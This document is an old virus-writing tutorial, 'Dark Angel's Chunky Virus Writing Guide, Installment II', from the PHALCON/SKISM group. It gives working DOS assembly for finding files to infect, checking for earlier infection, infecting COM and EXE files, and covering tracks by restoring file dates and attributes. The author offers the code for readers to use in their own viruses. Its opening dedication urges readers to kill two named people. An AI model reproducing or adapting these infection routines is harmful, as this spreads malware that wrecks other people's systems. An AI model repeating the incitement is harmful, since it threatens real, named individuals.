600 lines
29 KiB
Plaintext
600 lines
29 KiB
Plaintext
//==// // // /|| // //==== //==// //| //
|
||
// // // // //|| // // // // //|| //
|
||
//==// //==// //=|| // // // // // || //
|
||
// // // // || // // // // // ||//
|
||
// // // // || //==== //==== //==// // ||/
|
||
|
||
/==== // // // /==== /| /|
|
||
// // // // // //| //|
|
||
===\ // // // ===\ //|| //||
|
||
// // \\ // // // ||// ||
|
||
====/ // \\ // ====/ // ||/ ||
|
||
|
||
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
DISCLAIMER: Pretend you see a disclaimer here.
|
||
99.44% of the code guaranteed to work.
|
||
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
DEDICATION: Please try your best to kill those
|
||
who made this possible, especially that dumb
|
||
bitch who doesn't know her own name (Patty),
|
||
and her lover Ross M. Greenberg.
|
||
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
GREETS -N- STUFF: Greets go to all the members
|
||
of PHALCON/SKISM. I wish to give buckets o'
|
||
thanks to Hellraiser, Garbageheap, and Demo-
|
||
gorgon. No thanks this time to Orion Rouge,
|
||
the godly master of idiocy.
|
||
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
Dark Angel's Chunky Virus Writing Guide
|
||
ÄÄÄÄ ÄÄÄÄÄÄÄ ÄÄÄÄÄÄ ÄÄÄÄÄ ÄÄÄÄÄÄÄ ÄÄÄÄÄ
|
||
|
||
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
INSTALLMENT II: THE REPLICATOR
|
||
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
In the last installment of my Virus Writing Guide, I explained the various
|
||
parts of a virus and went into a brief discussion about each. In this
|
||
issue, I shall devote all my attention towards the replicator portion of
|
||
the virus. I promised code and code I shall present.
|
||
|
||
However, I shall digress for a moment because it has come to my attention
|
||
that some mutant copies of the first installment were inadvertently
|
||
released. These copies did not contain a vital section concerning the
|
||
calculation of offsets.
|
||
|
||
You never know where your variables and code are going to wind up in
|
||
memory. If you think a bit, this should be pretty obvious. Since you are
|
||
attaching the virus to the end of a program, the location in memory is
|
||
going to be changed, i.e. it will be larger by the size of the infected
|
||
program. So, to compensate, we must take the change in offset from the
|
||
original virus, or the delta offset, and add that to all references to
|
||
variables.
|
||
|
||
Instructions that use displacement, i.e. relative offsets, need not be
|
||
changed. These instructions are the JA, JB, JZ class of instructions, JMP
|
||
SHORT, JMP label, and CALL. Thus, whenever possible use these in favor of,
|
||
say, JMP FAR PTR.
|
||
|
||
Suppose in the following examples, si is somehow loaded with the delta
|
||
offset.
|
||
|
||
Replace
|
||
mov ax, counter
|
||
With
|
||
mov ax, word ptr [si+offset counter]
|
||
|
||
Replace
|
||
mov dx, offset message
|
||
With
|
||
lea dx, [si+offset message]
|
||
|
||
You may be asking, "how the farg am I supposed to find the delta offset!?"
|
||
It is simple enough:
|
||
|
||
call setup
|
||
setup:
|
||
pop si
|
||
sub si, offset setup
|
||
|
||
An explanation of the above fragment is in order. CALL setup pushes the
|
||
location of the next instruction, i.e. offset setup, onto the stack. Next,
|
||
this location is POPed into si. Finally, the ORIGINAL offset of setup
|
||
(calculated at compile-time) is subtracted from si, giving you the delta
|
||
offset. In the original virus, the delta offset will be 0, i.e. the new
|
||
location of setup equals the old location of setup.
|
||
|
||
It is often preferable to use bp as your delta offset, since si is used in
|
||
string instructions. Use whichever you like. I'll randomly switch between
|
||
the two as suits my mood.
|
||
|
||
Now back to the other stuff...
|
||
|
||
A biological virus is a parasitic "organism" which uses its host to spread
|
||
itself. It must keep the host alive to keep itself "alive." Only when it
|
||
has spread everywhere will the host die a painful, horrible death. The
|
||
modern electronic virus is no different. It attaches itself to a host
|
||
system and reproduces until the entire system is fucked. It then proceeds
|
||
and neatly wrecks the system of the dimwit who caught the virus.
|
||
|
||
Replication is what distinguishes a virus from a simple trojan. Anybody
|
||
can write a trojan, but a virus is much more elegant. It acts almost
|
||
invisibly, and catches the victim off-guard when it finally surfaces. The
|
||
first question is, of course, how does a virus spread? Both COM and EXE
|
||
infections (along with sample infection routines) shall be presented.
|
||
|
||
There are two major approaches to virii: runtime and TSR. Runtime virii
|
||
infect, yup, you guessed it, when the infected program is run, while TSR
|
||
virii go resident when the infected programs are run and hook the
|
||
interrupts and infect when a file is run, open, closed, and/or upon
|
||
termination (i.e. INT 20h, INT 21h/41h). There are advantages and
|
||
disadvantages to each. Runtime virii are harder to detect as they don't
|
||
show up on memory maps, but, on the other hand, the delay while it searches
|
||
for and infects a file may give it away. TSR virii, if not properly done,
|
||
can be easily spotted by utilities such as MAPMEM, PMAP, etc, but are, in
|
||
general, smaller since they don't need a function to search for files to
|
||
infect. They are also faster than runtime virii, also because they don't
|
||
have to search for files to infect. I shall cover runtime virii here, and
|
||
TSR virii in a later installment.
|
||
|
||
Here is a summary of the infection procedure:
|
||
1) Find a file to infect.
|
||
2) Check if it meets the infection criteria.
|
||
3) See if it is already infected and if so, go back to 1.
|
||
4) Otherwise, infect the file.
|
||
5) Cover your tracks.
|
||
|
||
I shall go through each of these steps and present sample code for each.
|
||
Note that although a complete virus can be built from the information
|
||
below, you cannot merely rip the code out and stick it together, as the
|
||
fragments are from various different virii that I have written. You must
|
||
be somewhat familiar with assembly. I present code fragments; it is up to
|
||
you to either use them as examples or modify them for your own virii.
|
||
|
||
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
STEP 1 - FIND A FILE TO INFECT
|
||
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
Before you can infect a file, you have to find it first! This can be a
|
||
bottleneck in the performance of the virus, so it should be done as
|
||
efficiently as possible. For runtime virii, there are a few possibilities.
|
||
You could infect files in only the current directory, or you could write a
|
||
directory traversal function to infect files in ALL directories (only a few
|
||
files per run, of course), or you could infect files in only a few select
|
||
directories. Why would you choose to only infect files in the current
|
||
directory? It would appear to limit the efficacy of the infections.
|
||
However, this is done in some virii either to speed up the virus or to
|
||
shorten the code size.
|
||
|
||
Here is a directory traversal function. It uses recursion, so it is rather
|
||
slow, but it does the job. This was excerpted with some modifications from
|
||
The Funky Bob Ross Virus [Beta].
|
||
|
||
traverse_fcn proc near
|
||
push bp ; Create stack frame
|
||
mov bp,sp
|
||
sub sp,44 ; Allocate space for DTA
|
||
|
||
call infect_directory ; Go to search & destroy routines
|
||
|
||
mov ah,1Ah ;Set DTA
|
||
lea dx,word ptr [bp-44] ; to space allotted
|
||
int 21h ;Do it now!
|
||
|
||
mov ah, 4Eh ;Find first
|
||
mov cx,16 ;Directory mask
|
||
lea dx,[si+offset dir_mask] ; *.*
|
||
int 21h
|
||
jmp short isdirok
|
||
gonow:
|
||
cmp byte ptr [bp-14], '.' ; Is first char == '.'?
|
||
je short donext ; If so, loop again
|
||
lea dx,word ptr [bp-14] ; else load dirname
|
||
mov ah,3Bh ; and changedir there
|
||
int 21h
|
||
jc short donext ; Do next if invalid
|
||
inc word ptr [si+offset nest] ; nest++
|
||
call near ptr traverse_fcn ; recurse directory
|
||
donext:
|
||
lea dx,word ptr [bp-44] ; Load space allocated for DTA
|
||
mov ah,1Ah ; and set DTA to this new area
|
||
int 21h ; 'cause it might have changed
|
||
|
||
mov ah,4Fh ;Find next
|
||
int 21h
|
||
isdirok:
|
||
jnc gonow ; If OK, jmp elsewhere
|
||
cmp word ptr [si+offset nest], 0 ; If root directory
|
||
; (nest == 0)
|
||
jle short cleanup ; then Quit
|
||
dec word ptr [si+offset nest] ; Else decrement nest
|
||
lea dx, [si+offset back_dir]; '..'
|
||
mov ah,3Bh ; Change directory
|
||
int 21h ; to previous one
|
||
cleanup:
|
||
mov sp,bp
|
||
pop bp
|
||
ret
|
||
traverse_fcn endp
|
||
|
||
; Variables
|
||
nest dw 0
|
||
back_dir db '..',0
|
||
dir_mask db '*.*',0
|
||
|
||
The code is self-explanatory. Make sure you have a function called
|
||
infect_directory which scans the directory for possible files to infect and
|
||
makes sure it doesn't infect already-infected files. This function, in
|
||
turn, calls infect_file which infects the file.
|
||
|
||
Note, as I said before, this is slow. A quicker method, albeit not as
|
||
global, is the "dot dot" method. Hellraiser showed me this neat little
|
||
trick. Basically, you keep searching each directory and, if you haven't
|
||
infected enough, go to the previous directory (dot dot) and try again, and
|
||
so on. The code is simple.
|
||
|
||
dir_loopy:
|
||
call infect_directory
|
||
lea dx, [bp+dotdot]
|
||
mov ah, 3bh ; CHDIR
|
||
int 21h
|
||
jnc dir_loopy ; Carry set if in root
|
||
|
||
; Variables
|
||
dotdot db '..',0
|
||
|
||
Now you must find a file to infect. This is done (in the fragments above)
|
||
by a function called infect_directory. This function calls FINDFIRST and
|
||
FINDNEXT a couple of times to find files to infect. You should first set
|
||
up a new DTA. NEVER use the DTA in the PSP (at 80h) because altering that
|
||
will affect the command-line parameters of the infected program when
|
||
control is returned to it. This is easily done with the following:
|
||
|
||
mov ah, 1Ah ; Set DTA
|
||
lea dx, [bp+offset DTA] ; to variable called DTA (wow!)
|
||
int 21h
|
||
|
||
Where DTA is a 42-byte chunk of memory. Next, issue a series of FINDFIRST
|
||
and FINDNEXT calls:
|
||
|
||
mov ah, 4Eh ; Find first file
|
||
mov cx, 0007h ; Any file attribute
|
||
lea dx, [bp+offset file_mask]; DS:[DX] --> filemask
|
||
int 21h
|
||
jc none_found
|
||
found_another:
|
||
call check_infection
|
||
mov ah, 4Fh ; Find next file
|
||
int 21h
|
||
jnc found_another
|
||
none_found:
|
||
|
||
Where file_mask is DBed to either '*.EXE',0 or '*.COM',0. Alternatively,
|
||
you could FINDFIRST for '*.*',0 and check if the extension is EXE or COM.
|
||
|
||
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
STEP 2 - CHECK VERSUS INFECTION CRITERIA
|
||
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
Your virus should be judicious in its infection. For example, you might
|
||
not want to infect COMMAND.COM, since some programs (i.e. the puny
|
||
FluShot+) check its CRC or checksum on runtime. Perhaps you do not wish to
|
||
infect the first valid file in the directory. Ambulance Car is an example
|
||
of such a virus. Regardless, if there is some infection criteria, you
|
||
should check for it now. Here's example code checking if the last two
|
||
letters are 'ND', a simple check for COMMAND.COM:
|
||
|
||
cmp word ptr [bp+offset DTA+35], 'DN' ; Reverse word order
|
||
jz fail_check
|
||
|
||
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
STEP 3 - CHECK FOR PREVIOUS INFECTION
|
||
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
Every virus has certain characteristics with which you can identify whether
|
||
a file is infected already. For example, a certain piece of code may
|
||
always occur in a predictable place. Or perhaps the JMP instruction is
|
||
always coded in the same manner. Regardless, you should make sure your
|
||
virus has a marker so that multiple infections of the same file do not
|
||
occur. Here's an example of one such check (for a COM file infector):
|
||
|
||
mov ah,3Fh ; Read first three
|
||
mov cx, 3 ; bytes of the file
|
||
lea dx, [bp+offset buffer] ; to the buffer
|
||
int 21h
|
||
|
||
mov ax, 4202h ; SEEK from EOF
|
||
xor cx, cx ; DX:CX = offset
|
||
xor dx, dx ; Returns filesize
|
||
int 21h ; in DX:AX
|
||
|
||
sub ax, virus_size + 3
|
||
cmp word ptr [bp+offset buffer+1], ax
|
||
jnz infect_it
|
||
|
||
bomb_out:
|
||
mov ah, 3Eh ; else close the file
|
||
int 21h ; and go find another
|
||
|
||
In this example, BX is assumed to hold a file handle to the program to be
|
||
checked for infection and virus_size equals the size of the virus. Buffer
|
||
is assumed to be a three-byte area of empty space. This code fragment
|
||
reads the first three bytes into buffer and then compares the JMP location
|
||
(located in the word beginning at buffer+1) to the filesize If the JMP
|
||
points to virus_size bytes before the EOF, then the file is already
|
||
infected with this virus. Another method would be to search at a certain
|
||
location in the file for a marker byte or word. For example:
|
||
|
||
mov ah, 3Fh ; Read the first four
|
||
mov cx, 4 ; bytes of the file into
|
||
lea dx, [bp+offset buffer] ; the buffer.
|
||
int 21h
|
||
|
||
cmp byte ptr [buffer+3], infection_id_byte ; Check the fourth
|
||
jz bomb_out ; byte for the marker
|
||
infect_it:
|
||
|
||
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
STEP 4 - INFECT THE FILE
|
||
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
This is the "guts" of the virus, the heart of the replicator. Once you
|
||
have located a potential file, you must save the attributes, time, date,
|
||
and size for later use. The following is a breakdown of the DTA:
|
||
|
||
Offset Size What it is
|
||
0h 21 BYTES Reserved, varies as per DOS version
|
||
15h BYTE File attribute
|
||
16h WORD File time
|
||
18h WORD File date
|
||
1Ah DWORD File size
|
||
1Eh 13 BYTES ASCIIZ filename + extension
|
||
|
||
As you can see, the DTA holds all the vital information about the file that
|
||
you need. The following code fragment is a sample of how to save the info:
|
||
|
||
lea si, [bp+offset DTA+15h] ; Start from attributes
|
||
mov cx, 9 ; Finish with size
|
||
lea di, [bp+offset f_attr] ; Move into your locations
|
||
rep movsb
|
||
; Variables needed
|
||
f_attr db ?
|
||
f_time dw ?
|
||
f_date dw ?
|
||
f_size dd ?
|
||
|
||
You can now change the file attributes to nothing through INT 21h/Function
|
||
43h/Subfunction 01h. This is to allow infection of system, hidden, and
|
||
read only files. Only primitive (or minimal) virii cannot handle such
|
||
files.
|
||
|
||
lea dx, [bp+offset DTA+1eh] ; DX points to filename in
|
||
mov ax, 4301h ; DTA
|
||
xor cx, cx ; Clear file attributes
|
||
int 21h ; Issue the call
|
||
|
||
Once the attributes have been annihilated, you may open the file with
|
||
callous impunity. Use a handle open in read/write mode.
|
||
|
||
lea dx, [bp+offset DTA+1eh] ; Use filename in DTA
|
||
mov ax, 3d02h ; Open read/write mode
|
||
int 21h ; duh.
|
||
xchg ax, bx ; Handle is more useful in
|
||
; BX
|
||
|
||
Now we come to the part you've all been waiting for: the infection routine.
|
||
I am pleased to present code which will handle the infection of COM files.
|
||
Yawn, you say, I can already do that with the information presented in the
|
||
previous installment. Ah, but there is more, much more. A sample EXE
|
||
infector shall also be presented shortly.
|
||
|
||
The theory behind COM file infection was covered in the last installment,
|
||
so I shall not delve into the details again. Here is a sample infector:
|
||
|
||
; Sample COM infector. Assumes BX holds the file handle
|
||
; Assume COM file passes infection criteria and not already infected
|
||
mov ah, 3fh
|
||
lea dx, [bp+buffer1]
|
||
mov cx, 3
|
||
int 21h
|
||
|
||
mov ax, 4200h ; Move file pointer to
|
||
xor cx, cx ; the beginning of the
|
||
xor dx, dx ; file
|
||
int 21h
|
||
|
||
mov byte ptr [bp+buffer2], 0e9h ; JMP
|
||
mov ax, word ptr [bp+f_size]
|
||
sub ax, part1_size ; Usually 3
|
||
mov word ptr [bp+buffer2+1], ax ; offset of JMP
|
||
|
||
; Encode JMP instruction to replace beginning of the file
|
||
mov byte ptr [bp+buffer2], 0e9h ; JMP
|
||
mov ax, word ptr [bp+f_size]
|
||
sub ax, part1_size ; Usually 3
|
||
mov word ptr [bp+buffer2+1], ax ; offset of JMP
|
||
|
||
; Write the JMP instruction to the beginning of the file
|
||
mov ah, 40h ; Write CX bytes to
|
||
mov cx, 3 ; handle in BX from
|
||
lea dx, [bp+buffer2] ; buffer -> DS:[DX]
|
||
int 21h
|
||
|
||
mov ax, 4202h ; Move file pointer to
|
||
xor cx, cx ; end of file
|
||
xor dx, dx
|
||
int 21h
|
||
|
||
mov ah, 40h ; Write CX bytes
|
||
mov cx, endofvirus - startofpart2 ; Effective size of virus
|
||
lea dx, [bp+startofpart2] ; Begin write at start
|
||
int 21h
|
||
|
||
; Variables
|
||
buffer1 db 3 dup (?) ; Saved bytes from the
|
||
; infected file to restore
|
||
; later
|
||
buffer2 db 3 dup (?) ; Temp buffer
|
||
|
||
After some examination, this code will prove to be easy to understand. It
|
||
starts by reading the first three bytes into a buffer. Note that you could
|
||
have done this in an earlier step, such as when you are checking for a
|
||
previous infection. If you have already done this, you obviously don't
|
||
need to do it again. This buffer must be stored in the virus so it can be
|
||
restored later when the code is executed.
|
||
|
||
EXE infections are also simple, although a bit harder to understand.
|
||
First, the thoery. Here is the format of the EXE header:
|
||
|
||
Ofs Name Size Comments
|
||
00 Signature 2 bytes always 4Dh 5Ah (MZ)
|
||
*02 Last Page Size 1 word number of bytes in last page
|
||
*04 File Pages 1 word number of 512 byte pages
|
||
06 Reloc Items 1 word number of entries in table
|
||
08 Header Paras 1 word size of header in 16 byte paras
|
||
0A MinAlloc 1 word minimum memory required in paras
|
||
0C MaxAlloc 1 word maximum memory wanted in paras
|
||
*0E PreReloc SS 1 word offset in paras to stack segment
|
||
*10 Initial SP 1 word starting SP value
|
||
12 Negative checksum 1 word currently ignored
|
||
*14 Pre Reloc IP 1 word execution start address
|
||
*16 Pre Reloc CS 1 word preadjusted start segment
|
||
18 Reloc table offset 1 word is offset from start of file)
|
||
1A Overlay number 1 word ignored if not overlay
|
||
1C Reserved/unused 2 words
|
||
* denotes bytes which should be changed by the virus
|
||
|
||
To understand this, you must first realise that EXE files are structured
|
||
into segments. These segments may begin and end anywhere. All you have to
|
||
do to infect an EXE file is tack on your code to the end. It will then be
|
||
in its own segment. Now all you have to do is make the virus code execute
|
||
before the program code. Unlike COM infections, no program code is
|
||
overwritten, although the header is modified. Note the virus can still
|
||
have the V1/V2 structure, but only V2 needs to be concatenated to the end
|
||
of the infected EXE file.
|
||
|
||
Offset 4 (File Pages) holds the size of the file divided by 512, rounded
|
||
up. Offset 2 holds the size of the file modulo 512. Offset 0Eh holds the
|
||
paragraph displacement (relative to the end of the header) of the initial
|
||
stack segment and Offset 10h holds the displacement (relative to the start
|
||
of the stack segment) of the initial stack pointer. Offset 16h holds the
|
||
paragraph displacement of the entry point relative to the end of the header
|
||
and offset 14h holds the displacement entry point relative to the start of
|
||
the entry segment. Offset 14h and 16h are the key to adding the startup
|
||
code (the virus) to the file.
|
||
|
||
Before you infect the file, you should save the CS:IP and SS:SP found in
|
||
the EXE header, as you need to restore them upon execution. Note that
|
||
SS:SP is NOT stored in Intel reverse-double-word format. If you don't know
|
||
what I'm talking about, don't worry; it's only for very picky people. You
|
||
should also save the file length as you will need to use that value several
|
||
times during the infection routine. Now it's time to calculate some
|
||
offsets! To find the new CS:IP and SS:SP, use the following code. It
|
||
assumes the file size is loaded in DX:AX.
|
||
|
||
mov bx, word ptr [bp+ExeHead+8] ; Header size in paragraphs
|
||
; ^---make sure you don't destroy the file handle
|
||
mov cl, 4 ; Multiply by 16. Won't
|
||
shl bx, cl ; work with headers > 4096
|
||
; bytes. Oh well!
|
||
sub ax, bx ; Subtract header size from
|
||
sbb dx, 0 ; file size
|
||
; Now DX:AX is loaded with file size minus header size
|
||
mov cx, 10h ; DX:AX/CX = AX Remainder DX
|
||
div cx
|
||
|
||
This code is rather inefficient. It would probably be easier to divide by
|
||
16 first and then perform a straight subtraction from AX, but this happens
|
||
to be the code I chose. Such is life. However, this code does have some
|
||
advantages over the more efficient one. With this, you are certain that
|
||
the IP (in DX) will be under 15. This allows the stack to be in the same
|
||
segment as the entry point, as long as the stack pointer is a large number.
|
||
|
||
Now AX*16+DX points to the end of code. If the virus begins immediately
|
||
after the end of the code, AX and DX can be used as the initial CS and IP,
|
||
respectively. However, if the virus has some junk (code or data) before
|
||
the entry point, add the entry point displacement to DX (no ADC with AX is
|
||
necessary since DX will always be small).
|
||
|
||
mov word ptr [bp+ExeHead+14h], dx ; IP Offset
|
||
mov word ptr [bp+ExeHead+16h], ax ; CS Displacement in module
|
||
|
||
The SP and SS can now be calculated. The SS is equal to the CS. The
|
||
actual value of the SP is irrelevant, as long as it is large enough so the
|
||
stack will not overwrite code (remember: the stack grows downwards). As a
|
||
general rule, make sure the SP is at least 100 bytes larger than the virus
|
||
size. This should be sufficient to avoid problems.
|
||
|
||
mov word ptr [bp+ExeHead+0Eh], ax ; Paragraph disp. SS
|
||
mov word ptr [bp+ExeHead+10h], 0A000h ; Starting SP
|
||
|
||
All that is left to fiddle in the header is the file size. Restore the
|
||
original file size from wherever you saved it to DX:AX. To calculate
|
||
DX:AX/512 and DX:AX MOD 512, use the following code:
|
||
|
||
mov cl, 9 ; Use shifts again for
|
||
ror dx, cl ; division
|
||
push ax ; Need to use AX again
|
||
shr ax, cl
|
||
adc dx, ax ; pages in dx
|
||
pop ax
|
||
and ah, 1 ; mod 512 in ax
|
||
|
||
mov word ptr [bp+ExeHead+4], dx ; Fix-up the file size in
|
||
mov word ptr [bp+ExeHead+2], ax ; the EXE header.
|
||
|
||
All that is left is writing back the EXE header and concatenating the virus
|
||
to the end of the file. You want code? You get code.
|
||
|
||
mov ah, 3fh ; BX holds handle
|
||
mov cx, 18h ; Don't need entire header
|
||
lea dx, [bp+ExeHead]
|
||
int 21h
|
||
|
||
call infectexe
|
||
|
||
mov ax, 4200h ; Rewind to beginning of
|
||
xor cx, cx ; file
|
||
xor dx, dx
|
||
int 21h
|
||
|
||
mov ah, 40h ; Write header back
|
||
mov cx, 18h
|
||
lea dx, [bp+ExeHead]
|
||
int 21h
|
||
|
||
mov ax, 4202h ; Go to end of file
|
||
xor cx, cx
|
||
xor dx, dx
|
||
int 21h
|
||
|
||
mov ah, 40h ; Note: Only need to write
|
||
mov cx, part2size ; part 2 of the virus
|
||
lea dx, [bp+offset part2start] ; (Parts of virus
|
||
int 21h ; defined in first
|
||
; installment of
|
||
; the guide)
|
||
|
||
Note that this code alone is not sufficient to write a COM or EXE infector.
|
||
Code is also needed to transfer control back to the parent program. The
|
||
information needed to do this shall be presented in the next installment.
|
||
In the meantime, you can try to figure it out on your own; just remember
|
||
that you must restore all that you changed.
|
||
|
||
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
STEP 5 - COVER YOUR TRACKS
|
||
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
This step, though simple to do, is too easily neglected. It is extremely
|
||
important, as a wary user will be alerted to the presence of a virus by any
|
||
unnecessary updates to a file. In its simplest form, it involves the
|
||
restoration of file attributes, time and date. This is done with the
|
||
following:
|
||
|
||
mov ax, 5701h ; Set file time/date
|
||
mov dx, word ptr [bp+f_date] ; DX = date
|
||
mov cx, word ptr [bp+f_time] ; CX = time
|
||
int 21h
|
||
|
||
mov ah, 3eh ; Handle close file
|
||
int 21h
|
||
|
||
mov ax, 4301h ; Set attributes
|
||
lea dx, [bp+offset DTA + 1Eh] ; Filename still in DTA
|
||
xor ch, ch
|
||
mov cl, byte ptr [bp+f_attrib] ; Attribute in CX
|
||
int 21h
|
||
|
||
Remember also to restore the directory back to the original one if it
|
||
changed during the run of the virus.
|
||
|
||
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
WHAT'S TO COME
|
||
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
I have been pleased with the tremendous response to the last installment of
|
||
the guide. Next time, I shall cover the rest of the virus as well as
|
||
various tips and common tricks helpful in writing virii. Until then, make
|
||
sure you look for 40Hex, the official PHALCON/SKISM magazine, where we
|
||
share tips and information pertinent to the virus community.
|
||
|
||
|
||
|
||
|
||
|
||
|